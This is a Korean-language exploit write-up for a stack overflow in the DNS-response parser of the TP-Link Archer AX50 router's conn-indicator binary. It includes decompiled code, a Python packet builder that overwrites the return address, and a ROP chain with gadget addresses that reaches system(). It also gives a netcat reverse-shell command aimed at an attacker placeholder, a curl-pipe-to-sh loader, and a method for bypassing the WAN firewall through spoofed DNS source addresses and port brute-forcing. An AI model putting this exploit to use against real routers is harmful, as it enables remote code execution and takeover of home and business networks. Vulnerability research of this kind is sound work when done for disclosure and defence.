
TP-Link Archer AX50 라우터의 conn-indicator 바이너리에서 발견된 스택 기반 버퍼 오버플로에 대한 익스플로잇
TP-Link Archer AX50 라우터는 펌웨어 버전 1.0.14 Build 20240108 rel.42655(4555)에서 스택 기반 버퍼 오버플로우 취약점에 영향을 받으며, LAN과 WAN 양쪽에서 원격 코드 실행으로 이어집니다. 이 취약점은 Flashback 팀이 발견하고 그들의 비디오 시리즈에서 자세히 다룬 CVE-2020-10881과 동일한 근본 원인을 가지고 있습니다(참조 자료 확인). 다만 익스플로잇 과정이 다소 달라서 새로운 익스플로잇을 작성해야 했습니다.

이 취약점은 라우터가 인터넷에 연결되어 있는지 확인하는 conn-indicator 바이너리에서 발생합니다. 이 바이너리는 주기적으로 DNS 쿼리를 보내고 32000에서 61000 사이의 임의의 UDP 포트에서 응답을 수신합니다.
이러한 DNS 응답 패킷을 수신하여 처음 처리하는 함수는 0x00405e3c에 위치한 TPDns_RecvAndResolve()입니다. recvfrom으로 패킷을 수신하면 2960바이트 크기의 buf에 저장합니다. 그런 다음 반환 코드가 올바른지(RCODE == 0) 확인하고 패킷의 질문 수와 답변 수(QDCOUNT 및 ANCOUNT)를 확인합니다. 답변을 처리하기 위해 process_resolved_IP()를 호출하면서 buf에 대한 포인터, buf의 패킷 내에서 답변이 위치한 곳을 가리키는 포인터인 answer_ptr, 답변 수(ANCOUNT) 및 기타 플래그를 전달합니다:
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
[...]
byte buf [2960];
[...]
while( true ) {
recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
local_38);
piVar2 = __errno_location();
if (recv_bytes == 0) goto RECV_ERROR;
if (recv_bytes < 0) break;
total_recv_bytes = total_recv_bytes + recv_bytes;
if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
}
[...]
/* Check that ANCOUNT is not 0 (answer contains at least one domain) */
puVar5 = (undefined4 *)0x0;
if (buf._6_2_ != 0) {
local_40 = 0;
puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
answer_ptr = answer_ptr + local_40;
}
[...]
0x00405818에 위치한 process_resolved_IP() 함수는 각 답변을 순회하며 각각에 대해 DNS_answer_parser()를 호출합니다. 인자로는 buf에 대한 동일한 포인터, 원본 패킷(buf) 내부에서 현재 파싱 중인 답변을 가리키는 포인터인 answer, 그리고 크기 256의 버퍼인 current_answer에 대한 포인터를 전달합니다:
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
[...]
byte current_answer [256];
ushort answer_flags [5];
i = 0;
puVar9 = (undefined4 *)0x0;
puVar7 = (undefined4 *)0x0;
answer = answer_ptr;
do {
/* Check if all answers have been parsed already */
if (i == ANCOUNT) {
if (param_4 != (undefined4 *)0x0) {
*param_4 = puVar7;
}
if (param_5 != (int *)0x0) {
*param_5 = (int)answer - (int)answer_ptr;
}
return puVar9;
}
bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
memcpy(answer_flags,answer + bytes_processed,10);
uVar1 = answer_flags._4_4_;
bytes_processed = bytes_processed + 10;
uVar6 = (uint)answer_flags[4];
uVar8 = (uint)answer_flags[0];
if (uVar8 == 2) {
LAB_00405924:
DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
}
else if (uVar8 < 3) {
pbVar2 = answer + bytes_processed;
if (uVar8 == 1) {
sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
(uint)pbVar2[3]);
}
}
else {
if (uVar8 == 5) goto LAB_00405924;
if (uVar8 == 0x1c) {
inet_ntop(10,answer,(char *)abStack_240,0xff);
}
}
answer = answer + bytes_processed + uVar6;
[...]
i = i + 1;
} while( true );
}
0x004054e0에 위치한 DNS_answer_parser() 함수는 각 답변을 개별적으로 파싱합니다. 각 답변은 <len><domain><len><domain>... 형태로 표현된 도메인 이름으로 구성됩니다. 예를 들어 example.com은 7example3com으로 표현됩니다. 이 함수는 답변의 도메인 이름을 구성하는 각 <len><domain> 쌍을 반복하면서 <len>이 63보다 작은지(domain_name & 0xc0 != 0) 확인합니다. 그런 다음 memcpy를 호출하여 <domain>에 해당하는 answer의 <len> 바이트를 current_answer로 복사합니다. 도메인 이름의 다음 <len><domain> 쌍에 대해 이 과정을 반복합니다.
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
int iVar1;
uint __n;
int iVar2;
uint uVar3;
ushort flag_and_offset;
byte domain_name;
iVar2 = 0;
do {
domain_name = *answer;
__n = (uint)domain_name;
iVar1 = 1;
if (__n == 0) {
*current_answer = 0;
LAB_004055b0:
return iVar2 + iVar1;
}
/* Check if compression mode is used */
if ((domain_name & 0xc0) != 0) {
flag_and_offset = CONCAT11(domain_name,answer[1]);
DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
iVar1 = 2;
goto LAB_004055b0;
}
uVar3 = __n + 1;
if (flag == 0) {
*current_answer = '.';
memcpy(current_answer + 1,answer + 1,__n);
__n = uVar3;
}
else {
memcpy(current_answer,answer + 1,__n);
}
answer = answer + uVar3;
current_answer = current_answer + __n;
iVar2 = iVar2 + uVar3;
flag = 0;
} while( true );
}
current_answer는 256바이트에 불과하므로, 공격자는 버퍼를 오버플로우할 만큼 큰 도메인 이름이 포함된 답변을 담은 패킷을 보낼 수 있습니다.
익스플로잇 과정은 Flashback 팀이 CVE-2020-10881에 대해 비디오 시리즈에서 설명한 것과 매우 유사합니다(참조 자료 확인). 몇 가지 주요 차이점이 있습니다:
move 명령어에서 차이가 있습니다. 이제 memcpy()의 count 인자로 $a2에 이동되는 레지스터가 $s0 대신 $s1이기 때문입니다.process_resolved_IP()의 i 변수는 $s8 대신 $s5에 로드됩니다. 그런 다음 $v1과 비교할 때, $v1은 $sp+616에서 가져오는데 이는 오버플로우된 버퍼에서 매우 멀리 떨어져 있어서 답변과 명령어보다 더 멀리까지 스택을 변조해야 했습니다./tmp를 제외하고 읽기 전용이므로 모든 쓰기와 읽기는 /tmp에서 이루어져야 합니다. 이로 인해 리버스 셸을 62자 미만으로 만드는 것이 불가능해졌고, 따라서 대상에 배포하려면 웹 서버에서 제공하고 다운로드하여 실행하는 명령을 대상에 보내야 합니다.이 점을 염두에 두고 어쨌든 전체 과정을 설명하겠습니다.
conn-indicator 바이너리는 NX가 활성화되어 있고 ASLR은 바이너리 자체를 제외한 모든 곳에 적용됩니다:
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430 /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430 /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0 [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681 /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681 /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506 /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506 /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872 /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872 /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893 /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893 /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711 /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711 /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709 /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709 /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714 /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714 /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0 [stack]
7ffff000-80000000 r-xp 00000000 00:00 0 [vdso]
root@Archer_AX50:/proc/6541# exploit
따라서 이 취약점을 익스플로잇하는 전략은 원하는 명령으로 system()을 실행할 수 있는 ROP 체인을 구축하는 것입니다.
버퍼를 오버플로우하고 $ra 레지스터를 변조하려면, 공격자는 충분히 큰 도메인 이름이 포함된 답변을 담은 DNS 응답을 보내야 합니다. DNS 헤더의 경우 유일한 요구 사항은 RCODE가 0이고 ANCOUNT가 1이라는 것입니다. 패킷에는 답변이 하나만 포함되면 되기 때문입니다. 예를 들어 다음 패킷은 $ra 레지스터를 0x50505050으로 변조합니다:
# len of each domain name must be less than 63
DOMAIN_LEN = 0x3f
TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]
# DNS response header
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT
# 4 domain names with length DOMAIN_LEN to fill up the buffer
for i in range (0,4):
packet += [DOMAIN_LEN]
for j in range(0, DOMAIN_LEN):
packet += [0x41]
# Domain name to fill up remaining variables
packet += [0x17]
packet += [0x41] * 23
# Domain name to corrupt the stack
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]
이제 바이너리의 주소는 실행할 때마다 항상 동일하고 쓰기 가능한 영역이 있으므로, 실행할 명령을 그곳에 복사한 다음 system()을 호출하는 것이 계획입니다. 이를 위해 다음 ROP 체인이 사용됩니다:
memcpy()의 인자를 준비합니다. 다음 가젯의 주소가 $ra에 로드됩니다. 그런 다음 $s2가 $v0으로 이동됩니다. $s2에는 명령이 복사될 바이너리의 쓰기 가능한 영역 주소가 들어 있으며, 이것이 memcpy()의 dest 인자가 됩니다. 그 다음에는 우리가 제어하는 스택 주소에서 memcpy의 count 인자가 $s1에 로드됩니다. 마지막으로 다음 가젯으로 점프합니다:00402700 lw ra, 0x2c(sp)
00402704 move v0, s2
00402708 lw s2, 0x28(sp)
0040270c lw s1, 0x24(sp)
00402710 lw s0, 0x20(sp)
00402714 jr ra
00402718 addiu sp, sp, 0x30
memcpy()의 인자 준비를 계속한 다음 memcpy()를 호출합니다. $v0에 있던 바이너리의 쓰기 가능한 영역에 해당하는 memcpy()의 dest 인자는 memcpy()의 첫 번째 매개변수로 $a0에 로드됩니다. 실행의 이 시점에서 $a1은 DNS 응답 패킷에서 답변의 끝을 가리키는데, 이곳이 우리가 명령 문자열을 배치한 위치이므로 src 매개변수를 준비할 필요가 없습니다. 그런 다음 이전 가젯에서 로드된 count 매개변수가 들어 있는 $s1이 memcpy()의 세 번째 매개변수로 $a2에 이동됩니다. 마지막으로 memcpy()가 호출되고 명령 문자열이 바이너리의 쓰기 가능한 영역으로 복사됩니다. 이 가젯은 process_resolved_IP()의 끝에 위치하므로 이제 실행은 그 함수 내부에서 계속됩니다. 함수가 성공적으로 반환할 수 있도록 지금 스택을 정렬해야 합니다. 이를 위해 스택과 일부 레지스터에서 로드되는 이 함수의 일부 변수(, , , 등)를 페이로드에 신중하게 배치합니다. 반환 시 의 주소는 다시 스택에서 가져오는데, 여기에 다음 가젯의 주소를 배치하여 그곳으로 점프합니다.00405a98 move a0, v0
00405a9c jal <EXTERNAL>:memcpy
00405aa0 _move a2, s1
[...]
system()의 인자를 준비하고 호출합니다. 실행의 이 시점에서 $v0에는 $s3의 값이 들어 있습니다. $s3에는 이제 명령이 포함된 바이너리의 쓰기 가능한 영역 주소를 배치해 두었습니다. 따라서 $v0이 $a0으로 이동됩니다. 그런 다음 바이너리에 임포트된 system()의 주소가 스택에서 $ra로 배치되고 system()이 호출되어 코드 실행이 이루어집니다.004065e8 move a0, v0
004065ec clear v0
004065f0 lw ra, 0x1c(sp)
004065f4 jr ra
이제 busybox를 실행하는 대상에서 실행할 리버스 셸은 다음과 같습니다:
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f
하지만 실행할 명령은 62자보다 짧아야 하고 파일 시스템은 /tmp에서만 쓰기 가능하므로 리버스 셸을 직접 실행하는 것은 불가능했습니다. 대신 curl http://<attacker>:<port>/ | sh라는 로더가 실행되었으며, 이는 공격자로부터 리버스 셸을 가져옵니다.
이제 남은 것은 conn-indicator가 수신 대기 중인 포트를 브루트포스하는 것뿐이며, 이는 쉽게 자동화할 수 있습니다.
이 시점까지 이 익스플로잇은 WAN 쪽이 방화벽으로 차단되어 있기 때문에 LAN 쪽에서만 작동합니다. 그러나 이 제한을 우회하는 방법이 있습니다. conn-indicator가 DNS 응답을 수신할 수 있도록, 방화벽은 바이너리가 보낸 DNS 쿼리와 동일한 IP에서 오는 패킷, 즉 대상 라우터가 사용 중인 DNS에서 오는 패킷을 허용합니다. 따라서 방화벽을 우회하려면 DNS 서버에서 온 것처럼 위장한 스푸핑 패킷을 보내는 것만으로 충분합니다. 대상이 로컬 네트워크에 있다면 192.168.0.1, 192.168.1.1 또는 10.0.0.1과 같은 주소일 가능성이 높고, 대상이 인터넷에 직접 연결되어 있다면 8.8.8.8, 1.1.1.1 또는 기타 일반적인 DNS 서버일 가능성이 높습니다.
완전히 작동하는 익스플로잇은 LAN과 WAN 모두에서 작동합니다. LAN 모드는 32000부터 61000까지 모든 포트를 브루트포스하고, WAN 모드는 동일한 포트와 SPOOF_LIST에 저장된 모든 가능한 DNS IP를 브루트포스합니다. 이 목록은 공격자의 대상에 대한 지식을 바탕으로 편집해야 하지만, 충분한 시간(몇 분)이 주어지면 90%의 경우를 커버할 수 있습니다.
ANCOUNTparam_4param_5i$ra